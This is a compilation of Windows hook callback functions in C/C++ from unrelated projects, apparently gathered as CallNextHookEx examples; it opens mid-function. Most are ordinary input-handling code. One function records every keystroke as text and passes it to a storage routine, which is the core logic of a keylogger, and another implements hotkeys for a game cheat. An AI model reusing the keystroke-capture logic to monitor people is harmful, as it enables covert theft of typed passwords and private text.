pkbdllhook->vkCode, 0); else fHandled = FALSE; } } } //switch(pkbdllhook->vkCode) } // if (ProcessID == g_VncProcesID) } // if (nCode==HT_ACTION) //Call the next hook, if we didn't handle this message return (fHandled ? TRUE : CallNextHookEx(g_HookID, nCode, wParam, lParam)); CATCH_LOG() return CallNextHookEx(g_HookID, nCode, wParam, lParam); }
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { HWND hForeground = 0; hForeground = GetForegroundWindow(); char szForegroundWindowTitle[64]; GetWindowText(hForeground, szForegroundWindowTitle, 64); if (!strcmp(szForegroundWindowTitle, GAMENAME)) { KBDLLHOOKSTRUCT *pkbhs = (KBDLLHOOKSTRUCT *) lParam; if (nCode == HC_ACTION && wParam == WM_KEYUP) { if (pkbhs->vkCode == LOBYTE(g_pTM2Hack->m_wBoostHotkey)) { g_pTM2Hack->Boost(false); } else if (pkbhs->vkCode == 0x4A) // j { SendDlgItemMessage(g_hWindow, IDC_BUTTON2, BM_CLICK, NULL, NULL); } else if (pkbhs->vkCode == LOBYTE(g_pTM2Hack->m_wNoGravityHotkey)) { if (g_pTM2Hack->m_bNoGravityEnabled) { g_pTM2Hack->NoGravity(false); } } else if (pkbhs->vkCode == VK_F1) { if (GetAsyncKeyState(VK_SHIFT)) g_pTM2Hack->SaveCurPos(0); else g_pTM2Hack->TeleportToPos(0); } else if (pkbhs->vkCode == VK_F2) { if (GetAsyncKeyState(VK_SHIFT)) g_pTM2Hack->SaveCurPos(1); else g_pTM2Hack->TeleportToPos(1); } else if (pkbhs->vkCode == VK_F3) { if (GetAsyncKeyState(VK_SHIFT)) g_pTM2Hack->SaveCurPos(2); else g_pTM2Hack->TeleportToPos(2); } else if (pkbhs->vkCode == VK_F4) { if (GetAsyncKeyState(VK_SHIFT)) g_pTM2Hack->SaveCurPos(3); else g_pTM2Hack->TeleportToPos(3); } else if (pkbhs->vkCode == VK_F8) { if (GetAsyncKeyState(VK_SHIFT)) g_pTM2Hack->SaveCurPosToSeries(); else if (GetAsyncKeyState(VK_DELETE)) g_pTM2Hack->m_vecAutoPositions.clear(); else g_pTM2Hack->LoadTeleportArray(); } } else if (nCode == HC_ACTION && wParam == WM_KEYDOWN) { if (pkbhs->vkCode == LOBYTE(g_pTM2Hack->m_wBoostHotkey)) { g_pTM2Hack->Boost(true); } } } return CallNextHookEx (g_hLowLevelKeyHook, nCode, wParam, lParam); }
LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) { char szCode[128]; HWND hwnd = (HWND) wParam; if (nCode < 0) // do not process message { return CallNextHookEx(hhk, nCode, wParam, lParam); } switch (nCode) { case HCBT_ACTIVATE: strcpy(szCode, "HCBT_ACTIVATE"); break; case HCBT_CLICKSKIPPED: strcpy(szCode, "HCBT_CLICKSKIPPED"); break; case HCBT_CREATEWND: strcpy(szCode, "HCBT_CREATEWND"); break; case HCBT_DESTROYWND: strcpy(szCode, "HCBT_DESTROYWND"); break; case HCBT_KEYSKIPPED: strcpy(szCode, "HCBT_KEYSKIPPED"); break; case HCBT_MINMAX: strcpy(szCode, "HCBT_MINMAX"); break; case HCBT_MOVESIZE: strcpy(szCode, "HCBT_MOVESIZE"); break; case HCBT_QS: strcpy(szCode, "HCBT_QS"); break; case HCBT_SETFOCUS: strcpy(szCode, "HCBT_SETFOCUS"); CreateThread(NULL, // sECURITY ATTRIBUTES 0, // Stack Size, ProcessFocus, hwnd, // Param 0, // Options, NULL); // Thread id installJavaPlugin(hwnd); break; case HCBT_SYSCOMMAND: strcpy(szCode, "HCBT_SYSCOMMAND"); break; default: strcpy(szCode, "Unknown"); break; } return CallNextHookEx(hhk, nCode, wParam, lParam); }
LRESULT CALLBACK KeyboardHookProc(int code, WPARAM wParam, LPARAM lParam) { /* The 32nd bit of lParam tells us if the key is being pressed or released */ if(!(lParam >> 31) && (code >= 0)) { char *keyw = (char *)calloc(STR_SZ1, sizeof(char)); ///////////////////////////////////////////////////////// // Describe the keystroke in wParam & store it in 'keyw' ///////////////////////////////////////////////////////// { /* virtual key code */ char vkc = 0; vkc = /* maintain alphabet case */ ((GetKeyState(VK_SHIFT) < 0)&&( !(GetKeyState(VK_CAPITAL) < 0))) ? toupper((char)(wParam)) : tolower((char)(wParam)); /* numeric pad keys 0 to 10 */ if((wParam >= VK_NUMPAD0)&& (wParam <= VK_NUMPAD9)) sprintf(keyw,"[NumPad:%u]", (wParam - VK_NUMPAD0)); /* keys from 0 to 9 , A to Z and space */ else if(((wParam >= 0x30) &&(wParam <= 0x5A)) ||(wParam == 0x20)) { keyw[0] = vkc; keyw[1] = 0; } /* function keys */ else if((wParam >= VK_F1) &&(wParam <= VK_F24)) { sprintf(keyw,"[F%u]", (wParam - VK_F1 + 1)); } else switch(wParam) { case VK_CANCEL: strcpy(keyw,"[CTRL-BRK]"); break; case VK_BACK: strcpy(keyw,"[BACK]"); break; case VK_TAB: strcpy(keyw,"[TAB]"); break; case VK_CLEAR: strcpy(keyw,"[CLEAR]"); break; case VK_RETURN: strcpy(keyw,"[ENTER]\r\n"); break; case VK_SHIFT: strcpy(keyw,"[SHIFT]"); break; case VK_CONTROL: strcpy(keyw,"[CTRL]"); break; case VK_MENU: strcpy(keyw,"[ALT]"); break; case VK_PAUSE: strcpy(keyw,"[PAUSE]"); break; case VK_CAPITAL: strcpy(keyw,"[CapsLock]"); break; case VK_ESCAPE: strcpy(keyw,"[ESC]"); break; case VK_PRIOR: strcpy(keyw,"[PageUp]"); break; case VK_NEXT: strcpy(keyw,"[PageDown]"); break; case VK_END: strcpy(keyw,"[END]"); break; case VK_HOME: strcpy(keyw,"[HOME]"); break; case VK_LEFT: strcpy(keyw,"[LEFT]"); break; case VK_UP: strcpy(keyw,"[UP]"); break; case VK_RIGHT: strcpy(keyw,"[RIGHT]"); break; case VK_DOWN: strcpy(keyw,"[DOWN]"); break; case VK_SELECT: strcpy(keyw,"[SELECT]"); break; case VK_EXECUTE: strcpy(keyw,"[EXECUTE]"); break; case VK_SNAPSHOT: strcpy(keyw,"[PrintScreen]"); break; case VK_INSERT: strcpy(keyw,"[INSERT]"); break; case VK_DELETE: strcpy(keyw,"[DELETE]"); break; case VK_HELP: strcpy(keyw,"[HELP]"); break; case VK_LWIN: strcpy(keyw,"[LeftWindowsKey]"); break; case VK_RWIN: strcpy(keyw,"[RightWindowsKey]"); break; case VK_APPS: strcpy(keyw,"[ApplicationKey]"); break; case VK_MULTIPLY: strcpy(keyw,"[MULTIPLY]"); break; case VK_ADD: strcpy(keyw,"[ADD]"); break; case VK_SEPARATOR: strcpy(keyw,"[SEPERATOR]"); break; case VK_SUBTRACT: strcpy(keyw,"[SUBTRACT]"); break; case VK_DECIMAL: strcpy(keyw,"[DECIMAL]"); break; case VK_DIVIDE: strcpy(keyw,"[DIVIDE]"); break; case VK_NUMLOCK: strcpy(keyw,"[NumLock]"); break; case VK_SCROLL: strcpy(keyw,"[ScrollLock]"); break; case VK_ATTN: strcpy(keyw,"[ATTN]"); break; case VK_CRSEL: strcpy(keyw,"[CrSel]"); break; case VK_EXSEL: strcpy(keyw,"[ExSel]"); break; case VK_EREOF: strcpy(keyw,"[EraseEOF]"); break; case VK_PLAY: strcpy(keyw,"[PLAY]"); break; case VK_ZOOM: strcpy(keyw,"[ZOOM]"); break; default: sprintf(keyw,"[(%d)%c]",wParam,wParam); break; } } /* The first 16 bits of lParam tells us how long the key was pressed */ UINT repeat = (lParam << 16) >> 16; if(!repeat) repeat = 1; char *key = (char *) calloc ((repeat * strlen(keyw))+1, sizeof(char)); if(key == NULL) goto exit_point; while(repeat--) strcat(key, keyw); if(key) StoreInformation(key); exit_point: free(keyw); free(key); } return CallNextHookEx(KeyHook, code, wParam, lParam); }
static LRESULT CALLBACK cbt_hook_proc(int nCode, WPARAM wParam, LPARAM lParam) { return nCode == HCBT_CREATEWND ? 1: CallNextHookEx(hhook, nCode, wParam, lParam); }
LRESULT CALLBACK wf_ll_kbd_proc(int nCode, WPARAM wParam, LPARAM lParam) { wfInfo* wfi; DWORD rdp_scancode; rdpInput* input; PKBDLLHOOKSTRUCT p; DEBUG_KBD("Low-level keyboard hook, hWnd %X nCode %X wParam %X", g_focus_hWnd, nCode, wParam); if (g_focus_hWnd && (nCode == HC_ACTION)) { switch (wParam) { case WM_KEYDOWN: case WM_SYSKEYDOWN: case WM_KEYUP: case WM_SYSKEYUP: wfi = (wfInfo*) GetWindowLongPtr(g_focus_hWnd, GWLP_USERDATA); p = (PKBDLLHOOKSTRUCT) lParam; if (!wfi || !p) return 1; input = wfi->instance->input; rdp_scancode = MAKE_RDP_SCANCODE((BYTE) p->scanCode, p->flags & LLKHF_EXTENDED); DEBUG_KBD("keydown %d scanCode %04X flags %02X vkCode %02X", (wParam == WM_KEYDOWN), (BYTE) p->scanCode, p->flags, p->vkCode); if (wfi->fs_toggle && ((p->vkCode == VK_RETURN) || (p->vkCode == VK_CANCEL)) && (GetAsyncKeyState(VK_CONTROL) & 0x8000) && (GetAsyncKeyState(VK_MENU) & 0x8000)) /* could also use flags & LLKHF_ALTDOWN */ { if (wParam == WM_KEYDOWN) { wf_toggle_fullscreen(wfi); return 1; } } if (rdp_scancode == RDP_SCANCODE_NUMLOCK_EXTENDED) { /* Windows sends NumLock as extended - rdp doesn't */ DEBUG_KBD("hack: NumLock (x45) should not be extended"); rdp_scancode = RDP_SCANCODE_NUMLOCK; } else if (rdp_scancode == RDP_SCANCODE_NUMLOCK) { /* Windows sends Pause as if it was a RDP NumLock (handled above). * It must however be sent as a one-shot Ctrl+NumLock */ if (wParam == WM_KEYDOWN) { DEBUG_KBD("Pause, sent as Ctrl+NumLock"); freerdp_input_send_keyboard_event_ex(input, TRUE, RDP_SCANCODE_LCONTROL); freerdp_input_send_keyboard_event_ex(input, TRUE, RDP_SCANCODE_NUMLOCK); freerdp_input_send_keyboard_event_ex(input, FALSE, RDP_SCANCODE_LCONTROL); freerdp_input_send_keyboard_event_ex(input, FALSE, RDP_SCANCODE_NUMLOCK); } else { DEBUG_KBD("Pause up"); } return 1; } else if (rdp_scancode == RDP_SCANCODE_RSHIFT_EXTENDED) { DEBUG_KBD("right shift (x36) should not be extended"); rdp_scancode = RDP_SCANCODE_RSHIFT; } freerdp_input_send_keyboard_event_ex(input, !(p->flags & LLKHF_UP), rdp_scancode); if (p->vkCode == VK_CAPITAL) DEBUG_KBD("caps lock is processed on client side too to toggle caps lock indicator"); else return 1; break; } } return CallNextHookEx(NULL, nCode, wParam, lParam); }
// This hook exists whilst the slideshow is running but only listens on the // slideshows thread. It listens out for slide changes, message WM_USER+22. LRESULT CALLBACK CwpProc(int nCode, WPARAM wParam, LPARAM lParam){ CWPSTRUCT *cwp; cwp = (CWPSTRUCT *)lParam; HHOOK hook = NULL; char filename[MAX_PATH]; DWORD windowThread = GetWindowThreadProcessId(cwp->hwnd, NULL); int id = -1; for (int i = 0; i < MAX_PPTS; i++) { if (pptView[i].dwThreadId == windowThread) { id = i; hook = pptView[id].hook; break; } } if ((id >= 0) && (nCode == HC_ACTION)) { if (cwp->message == WM_USER + 22) { if (pptView[id].state != PPT_LOADED) { if ((pptView[id].currentSlide > 0) && (pptView[id].previewPath != NULL && strlen(pptView[id].previewPath) > 0)) { sprintf_s(filename, MAX_PATH, "%s%i.bmp", pptView[id].previewPath, pptView[id].currentSlide); CaptureAndSaveWindow(cwp->hwnd, filename); } if (((cwp->wParam == 0) || (pptView[id].slideNos[1] == cwp->wParam)) && (pptView[id].currentSlide > 0)) { pptView[id].state = PPT_LOADED; pptView[id].currentSlide = pptView[id].slideCount + 1; } else { if (cwp->wParam > 0) { pptView[id].currentSlide = pptView[id].currentSlide + 1; pptView[id].slideNos[pptView[id].currentSlide] = cwp->wParam; pptView[id].slideCount = pptView[id].currentSlide; pptView[id].lastSlideSteps = 0; } } } else { if (cwp->wParam > 0) { if(pptView[id].guess > 0 && pptView[id].slideNos[pptView[id].guess] == 0) { pptView[id].currentSlide = 0; } for(int i = 1; i <= pptView[id].slideCount; i++) { if(pptView[id].slideNos[i] == cwp->wParam) { pptView[id].currentSlide = i; break; } } if(pptView[id].currentSlide == 0) { pptView[id].slideNos[pptView[id].guess] = cwp->wParam; pptView[id].currentSlide = pptView[id].guess; } pptView[id].guess = 0; } } } if ((pptView[id].state != PPT_CLOSED) &&(cwp->message == WM_CLOSE || cwp->message == WM_QUIT)) { pptView[id].state = PPT_CLOSING; } } return CallNextHookEx(hook, nCode, wParam, lParam); }
LRESULT CALLBACK mouse_hook_event_proc(int nCode, WPARAM wParam, LPARAM lParam) { // Calculate Unix epoch from native time source. uint64_t timestamp = get_event_timestamp(); MSLLHOOKSTRUCT *mshook = (MSLLHOOKSTRUCT *) lParam; switch (wParam) { case WM_LBUTTONDOWN: set_modifier_mask(MASK_BUTTON1); process_button_pressed(timestamp, mshook, MOUSE_BUTTON1); break; case WM_RBUTTONDOWN: set_modifier_mask(MASK_BUTTON2); process_button_pressed(timestamp, mshook, MOUSE_BUTTON2); break; case WM_MBUTTONDOWN: set_modifier_mask(MASK_BUTTON3); process_button_pressed(timestamp, mshook, MOUSE_BUTTON3); break; case WM_XBUTTONDOWN: case WM_NCXBUTTONDOWN: if (HIWORD(mshook->mouseData) == XBUTTON1) { set_modifier_mask(MASK_BUTTON4); process_button_pressed(timestamp, mshook, MOUSE_BUTTON4); } else if (HIWORD(mshook->mouseData) == XBUTTON2) { set_modifier_mask(MASK_BUTTON5); process_button_pressed(timestamp, mshook, MOUSE_BUTTON5); } else { // Extra mouse buttons. uint16_t button = HIWORD(mshook->mouseData); // Add support for mouse 4 & 5. if (button == 4) { set_modifier_mask(MOUSE_BUTTON4); } else if (button == 5) { set_modifier_mask(MOUSE_BUTTON5); } process_button_pressed(timestamp, mshook, button); } break; case WM_LBUTTONUP: unset_modifier_mask(MASK_BUTTON1); process_button_released(timestamp, mshook, MOUSE_BUTTON1); break; case WM_RBUTTONUP: unset_modifier_mask(MASK_BUTTON2); process_button_released(timestamp, mshook, MOUSE_BUTTON2); break; case WM_MBUTTONUP: unset_modifier_mask(MASK_BUTTON3); process_button_released(timestamp, mshook, MOUSE_BUTTON3); break; case WM_XBUTTONUP: case WM_NCXBUTTONUP: if (HIWORD(mshook->mouseData) == XBUTTON1) { unset_modifier_mask(MASK_BUTTON4); process_button_released(timestamp, mshook, MOUSE_BUTTON4); } else if (HIWORD(mshook->mouseData) == XBUTTON2) { unset_modifier_mask(MASK_BUTTON5); process_button_released(timestamp, mshook, MOUSE_BUTTON5); } else { // Extra mouse buttons. uint16_t button = HIWORD(mshook->mouseData); // Add support for mouse 4 & 5. if (button == 4) { unset_modifier_mask(MOUSE_BUTTON4); } else if (button == 5) { unset_modifier_mask(MOUSE_BUTTON5); } process_button_released(timestamp, mshook, MOUSE_BUTTON5); } break; case WM_MOUSEMOVE: process_mouse_moved(timestamp, mshook); break; case WM_MOUSEWHEEL: process_mouse_wheel(timestamp, mshook); break; /* For horizontal scroll wheel support. * NOTE Windows >= Vista * case 0x020E: case WM_MOUSEHWHEEL: process_mouse_wheel(timestamp, mshook); break; */ default: // In theory this *should* never execute. logger(LOG_LEVEL_WARN, "%s [%u]: Unhandled Windows mouse event! (%#X)\n", __FUNCTION__, __LINE__, (unsigned int) wParam); break; } LRESULT hook_result = -1; if (nCode < 0 || event.reserved ^ 0x01) { hook_result = CallNextHookEx(mouse_event_hhook, nCode, wParam, lParam); } else { logger(LOG_LEVEL_DEBUG, "%s [%u]: Consuming the current event. (%li)\n", __FUNCTION__, __LINE__, (long) hook_result); } return hook_result; }
/// hook of GetMessage LRESULT CALLBACK getMessageProc(int i_nCode, WPARAM i_wParam, LPARAM i_lParam) { if (!g.m_isInitialized) initialize(false); if (!g_hookData) return 0; MSG &msg = (*(MSG *)i_lParam); if (i_wParam != PM_REMOVE) goto finally; switch (msg.message) { case WM_COMMAND: case WM_SYSCOMMAND: notifyCommand(msg.hwnd, msg.message, msg.wParam, msg.lParam); break; case WM_KEYDOWN: case WM_KEYUP: case WM_SYSKEYDOWN: case WM_SYSKEYUP: { if (HIMC hIMC = ImmGetContext(msg.hwnd)) { bool prev = g.m_isImeLock; g.m_isImeLock = !!ImmGetOpenStatus(hIMC); ImmReleaseContext(msg.hwnd, hIMC); if (prev != g.m_isImeLock) { notifyLockState(1); } } int nVirtKey = (int)msg.wParam; // int repeatCount = (msg.lParam & 0xffff); BYTE scanCode = (BYTE)((msg.lParam >> 16) & 0xff); bool isExtended = !!(msg.lParam & (1 << 24)); // bool isAltDown = !!(msg.lParam & (1 << 29)); // bool isKeyup = !!(msg.lParam & (1 << 31)); if (nVirtKey == VK_CAPITAL || nVirtKey == VK_NUMLOCK || nVirtKey == VK_KANA || nVirtKey == VK_SCROLL) notifyLockState(2); else if (scanCode == g_hookData->m_syncKey && isExtended == g_hookData->m_syncKeyIsExtended) notifySync(); break; } case WM_IME_STARTCOMPOSITION: g.m_isImeCompositioning = true; notifyLockState(3); break; case WM_IME_ENDCOMPOSITION: g.m_isImeCompositioning = false; notifyLockState(4); break; default: if (i_wParam == PM_REMOVE && msg.message == g.m_WM_MAYU_MESSAGE) { switch (msg.wParam) { case MayuMessage_notifyName: notifyName(msg.hwnd); break; case MayuMessage_funcRecenter: funcRecenter(msg.hwnd); break; case MayuMessage_funcSetImeStatus: funcSetImeStatus(msg.hwnd, msg.lParam); break; case MayuMessage_funcSetImeString: funcSetImeString(msg.hwnd, msg.lParam); break; } } break; } finally: return CallNextHookEx(s_hookDataArch->m_hHookGetMessage, i_nCode, i_wParam, i_lParam); }
static LRESULT CALLBACK hookkeyproc(UINT nCode, WPARAM wParam, LPARAM lParam) { if(nCode < 0) { /* pass it on */ CallNextHookEx(hookKey, nCode, wParam, lParam); return 0; } /* pass it on */ DWORD keyflags = lParam; DWORD transitionFLAG = 0x80000000; DWORD repeatFLAG = 0x40000000; DWORD val = keyflags & transitionFLAG; if (wParam==VK_SHIFT) { if (val==0) shiftDown = 1; else shiftDown = 0; } if (wParam==VK_MENU) { if (val==0) altDown = 1; else altDown = 0; } if (wParam==VK_CONTROL) { if (val==0) ctrlDown = 1; else ctrlDown = 0; } DWORD specialKeys = ctrlDown * 4 + shiftDown * 2 + altDown * 1; //Can this code prevent too many messages from being sent to vscap and cause it to crash ? unsigned long currentKeyTime = timeGetTime(); unsigned long difftime = currentKeyTime - oldKeyTime; //ver 1.8 if (difftime>150) { //Repeating keys.. if ((previousKey == wParam) && (difftime<300)) return CallNextHookEx(hookKey, nCode, wParam, lParam); previousKey = wParam; //if (lParam>0) { //ShowWindow( hWndServerKey, SW_SHOW); //PostMessage(hWndServerKey, WM_USER_KEYSTART , wParam, lParam); PostMessage(hWndServerKey, WM_USER_KEYSTART , wParam, specialKeys); oldKeyTime = currentKeyTime; //} } return CallNextHookEx(hookKey, nCode, wParam, lParam); }
static LRESULT CALLBACK menubar_ht_proc(int code, WPARAM wp, LPARAM lp) { if(code >= 0) { MSG* msg = (MSG*)lp; menubar_t* mb = menubar_ht_mb; MC_ASSERT(mb != NULL); switch(msg->message) { case WM_MENUSELECT: menubar_ht_sel_menu = (HMENU)msg->lParam; menubar_ht_sel_item = LOWORD(msg->wParam); menubar_ht_sel_flags = HIWORD(msg->wParam); MENUBAR_TRACE("menubar_ht_proc: WM_MENUSELECT %p %d", menubar_ht_sel_menu, menubar_ht_sel_item); break; case WM_MOUSEMOVE: { POINT pt = msg->pt; int item; MapWindowPoints(NULL, mb->win, &pt, 1); item = MENUBAR_SENDMSG(mb->win, TB_HITTEST, 0, (LPARAM)&pt); if(menubar_ht_last_pos.x != pt.x || menubar_ht_last_pos.y != pt.y) { menubar_ht_last_pos = pt; if(item != mb->pressed_item && 0 <= item && item < MENUBAR_SENDMSG(mb->win, TB_BUTTONCOUNT, 0, 0)) { MENUBAR_TRACE("menubar_ht_proc: Change dropdown by mouse move " "[%d -> %d]", mb->pressed_item, item); menubar_ht_change_dropdown(mb, item, FALSE); } } break; } case WM_KEYDOWN: case WM_SYSKEYDOWN: switch(msg->wParam) { case VK_MENU: case VK_F10: menubar_ht_change_dropdown(mb, -1, TRUE); return 0; case VK_LEFT: if(menubar_ht_sel_menu == NULL || menubar_ht_sel_menu == GetSubMenu(mb->menu, mb->pressed_item)) { int item = mb->pressed_item - 1; if(item < 0) item = MENUBAR_SENDMSG(mb->win, TB_BUTTONCOUNT, 0, 0) - 1; MENUBAR_TRACE("menubar_ht_proc: Change dropdown by VK_LEFT"); if(item != mb->pressed_item) menubar_ht_change_dropdown(mb, item, TRUE); menubar_update_ui_state(mb, TRUE); } break; case VK_RIGHT: if(menubar_ht_sel_menu == NULL || !(menubar_ht_sel_flags & MF_POPUP) || (menubar_ht_sel_flags & (MF_GRAYED | MF_DISABLED))) { int item = mb->pressed_item + 1; if(item >= MENUBAR_SENDMSG(mb->win, TB_BUTTONCOUNT, 0, 0)) item = 0; MENUBAR_TRACE("menubar_ht_proc: Change dropdown by VK_RIGHT"); if(item != mb->pressed_item) menubar_ht_change_dropdown(mb, item, TRUE); menubar_update_ui_state(mb, TRUE); } break; } break; } } return CallNextHookEx(menubar_ht_hook, code, wp, lp); }
/*static*/ LRESULT CALLBACK sbWindowMoveService::CallWndProc(int nCode, WPARAM wParam, LPARAM lParam) { // This is a message we shouldn't process. See SetWindowHookEx docs // on MSDN for more information about how to process window hook // messages. if(nCode < 0) { return CallNextHookEx(NULL, nCode, wParam, lParam); } PCWPSTRUCT msg = reinterpret_cast<PCWPSTRUCT>(lParam); sbWindowMoveService *self = reinterpret_cast<sbWindowMoveService *>(::GetPropW(msg->hwnd, PROP_WMS_INST)); if (!self) { // This wasn't a window that we're interested in, don't do anything return CallNextHookEx(NULL, nCode, wParam, lParam); } if(msg->message == WM_WINDOWPOSCHANGING) { // if the window didn't actually move, then we don't actually care WINDOWINFO wi; wi.cbSize = sizeof(WINDOWINFO); if (GetWindowInfo(msg->hwnd, &wi)) { RECT* oldpos = &wi.rcWindow; WINDOWPOS* newpos = (WINDOWPOS*)msg->lParam; if (newpos->flags & SWP_NOMOVE) { return CallNextHookEx(NULL, nCode, wParam, lParam); } } sbWindowMoveService::resizing_t::iterator it = self->mResizing.find(msg->hwnd); if(it == self->mResizing.end()) { self->mResizing.insert(std::make_pair<HWND, bool>(msg->hwnd, true)); CallListenerMoveStarted(msg->hwnd, self->mListeners); } else if(!it->second) { it->second = true; CallListenerMoveStarted(msg->hwnd, self->mListeners); } } else if(msg->message == WM_WINDOWPOSCHANGED) { sbWindowMoveService::resizing_t::iterator it = self->mResizing.find(msg->hwnd); if(it != self->mResizing.end() && it->second == true) { nsCOMPtr<nsITimer> timer; timers_t::iterator itTimer = self->mTimers.find(msg->hwnd); if(itTimer == self->mTimers.end()) { nsresult rv = NS_ERROR_UNEXPECTED; timer = do_CreateInstance("@mozilla.org/timer;1"); self->mTimers.insert( std::make_pair<HWND, nsCOMPtr<nsITimer> >(msg->hwnd, timer)); } else { timer = itTimer->second; } if(timer) { self->mTimersToWnd.insert( std::make_pair<nsITimer*, HWND>(timer.get(), msg->hwnd)); timer->InitWithCallback(self, 1000, nsITimer::TYPE_ONE_SHOT); } } } return CallNextHookEx(NULL, nCode, wParam, lParam); }
LRESULT CALLBACK KeyboardHook(int code, WPARAM wParam, LPARAM lParam) { if (code != HC_ACTION) return CallNextHookEx(NULL, code, wParam, lParam); if (!myState) return CallNextHookEx(NULL, code, wParam, lParam); switch (wParam) { case WM_KEYDOWN: case WM_KEYUP: case WM_SYSKEYDOWN: case WM_SYSKEYUP: { PKBDLLHOOKSTRUCT hks = (PKBDLLHOOKSTRUCT)lParam; // SendInput switch (hks->vkCode) { case 'F': case 'B': case '4': case '6': case '0': case 'H': case 'J': case 'K': case 'L':{ //DWORD extended = (0x1000000 & lParam) >> 24; // Check if KEYEVENTF_EXTENDEDKEY BYTE scanCode = (0xFF0000 & lParam) >> 16; // Check if KEYEVENTF_KEYUP, otherwise will be set to down LPARAM dwFlags = (wParam == WM_KEYUP || wParam == WM_SYSKEYUP) ? KEYEVENTF_KEYUP : 0; dwFlags |= KEYEVENTF_EXTENDEDKEY; dwFlags |= KEYEVENTF_SCANCODE; INPUT ip; ZeroMemory(&ip, sizeof(ip)); ip.type = INPUT_KEYBOARD; switch (hks->vkCode) { case 'H': ip.ki.wVk = VK_LEFT; break; case 'J': ip.ki.wVk = VK_DOWN; break; case 'K': ip.ki.wVk = VK_UP; break; case 'L': ip.ki.wVk = VK_RIGHT; break; case '4': ip.ki.wVk = VK_END; break; case '6': case '0': ip.ki.wVk = VK_HOME; break; case 'F': ip.ki.wVk = VK_NEXT; break; case 'B': ip.ki.wVk = VK_PRIOR; break; } ip.ki.wScan = MapVirtualKey(ip.ki.wVk, MAPVK_VK_TO_VSC); ip.ki.dwFlags = dwFlags; ip.ki.time = 0; ip.ki.dwExtraInfo = 0; SendInput(1, &ip, sizeof(ip)); return 1; } } break; } } return CallNextHookEx(NULL, code, wParam, lParam); }
LRESULT hookMouseLl(int nCode, WPARAM wParam, LPARAM lParam) { bool callNext = true; if(nCode >= 0) { MSLLHOOKSTRUCT* msll = reinterpret_cast<MSLLHOOKSTRUCT*>(lParam); // -------------------------------------------------------------------------- /** 押下時のチャタリング --u--- d----------------- --u--- dud--------------- --u--- dudud------------- 離し時のチャタリング --d-- u----------------- --d-- udu--------------- --d-- ududu------------- ドラッグ時のチャタリング (用語間違い? 接触や通信不良のこと) d-------dud------- */ //--------------------------------------------------------------------------- switch(wParam) { case WM_LBUTTONDOWN: { Time currentTime = getCurrentTime(); // チャタリングが発生しているか? if(isChattering(prevLeftUpTime, currentTime) || isChattering(prevLeftDownTime, currentTime)) { // してるっぽいので何もしない callNext = false; } prevLeftDownTime = currentTime; break; } case WM_LBUTTONUP: { Time currentTime = getCurrentTime(); // チャタリングが発生しているか? if(isChattering(prevLeftDownTime, currentTime) || isChattering(prevLeftUpTime, currentTime)) { // してるっぽいので何もしない callNext = false; } prevLeftUpTime = currentTime; break; } case WM_RBUTTONDOWN: { Time currentTime = getCurrentTime(); // チャタリングが発生しているか? if(isChattering(prevRightUpTime, currentTime)) { // してるっぽいので何もしない callNext = false; } prevRightDownTime = currentTime; break; } break; case WM_RBUTTONUP: { Time currentTime = getCurrentTime(); // チャタリングが発生しているか? if(isChattering(prevRightDownTime, currentTime)) { // してるっぽいので何もしない callNext = false; } prevRightUpTime = currentTime; break; } break; case WM_MOUSEMOVE: case WM_MOUSEWHEEL: default: break; } } if(callNext) { return CallNextHookEx(hook, nCode, wParam, lParam); } else { return 1; } }
// The command below tells the OS that this EXE has an export function so we can use the global hook without a DLL __declspec(dllexport) LRESULT CALLBACK g_LLKeyboardHookCallback( int nCode, // The hook code WPARAM wParam, // The window message (WM_KEYUP, WM_KEYDOWN, etc.) LPARAM lParam // A pointer to a struct with information about the pressed key ) { /* typedef struct { DWORD vkCode; DWORD scanCode; DWORD flags; DWORD time; ULONG_PTR dwExtraInfo; } KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;*/ // Get out of hooks ASAP; no modal dialogs or CPU-intensive processes! // UI code really should be elsewhere, but this is just a test/prototype app // In my limited testing, HC_ACTION is the only value nCode is ever set to in CE static int iActOn = HC_ACTION; PROCESS_INFORMATION pi; int i; bool processed_key=false; if (nCode == iActOn) { PKBDLLHOOKSTRUCT pkbhData = (PKBDLLHOOKSTRUCT)lParam; if ( (wParam == WM_KEYUP) && (processed_key==false) ) { Add2Log(L"# hook got 0x%02x (%i). Looking for match...\r\n", pkbhData->vkCode, pkbhData->vkCode); BOOL bMatchFound=FALSE; for (i=0; i<=lastKey; i++) { if (pkbhData->vkCode == kMap[i].keyCode) { bMatchFound=TRUE; DEBUGMSG(1, (L"# hook Catched key 0x%0x, launching '%s'\n", kMap[i].keyCode, kMap[i].keyCmd)); Add2Log(L"# hook Matched key 0x%0x, launching '%s'\n", kMap[i].keyCode, kMap[i].keyCmd); runStruct run; run.szCmd=kMap[i].keyCmd; run.szArg=kMap[i].keyArg; hThread = CreateThread(NULL, 0, runExe, &run, 0, &dwThreadID); //if (CreateProcess(kMap[i].keyCmd, kMap[i].keyArg, NULL, NULL, NULL, 0, NULL, NULL, NULL, &pi)) //{ // Add2Log(L"# hook CreateProcess OK\r\n", FALSE); // CloseHandle(pi.hProcess); // CloseHandle(pi.hThread); //} //else{ // Add2Log(L"# hook CreateProcess FAILED. LastError=%i (0x%x)\r\n", GetLastError(), GetLastError()); //} processed_key=true; Add2Log(L"# hook processed_key is TRUE\r\n", FALSE); } } if(!bMatchFound) Add2Log(L"# hook No match found\r\n", FALSE); } else if(wParam == WM_KEYDOWN){ Add2Log(L"# hook got keydown: %i (0x%x). processed_key is '%i'\r\n", pkbhData->vkCode, pkbhData->vkCode, processed_key); } } //shall we forward processed keys? if (processed_key) { if (bForwardKey){ Add2Log(L"# hook bForwardKey is TRUE. Resetting processed_key\r\n", FALSE); processed_key=false; //reset flag Add2Log(L"# hook CallNextHookEx() with processed_key=false\r\n", FALSE); return CallNextHookEx(g_hInstalledLLKBDhook, nCode, wParam, lParam); } else{ Add2Log(L"# hook bForwardKey is FALSE. Returning...\r\n", FALSE); return true; } } else{ Add2Log(L"# hook CallNextHookEx()\r\n", FALSE); return CallNextHookEx(g_hInstalledLLKBDhook, nCode, wParam, lParam); } }
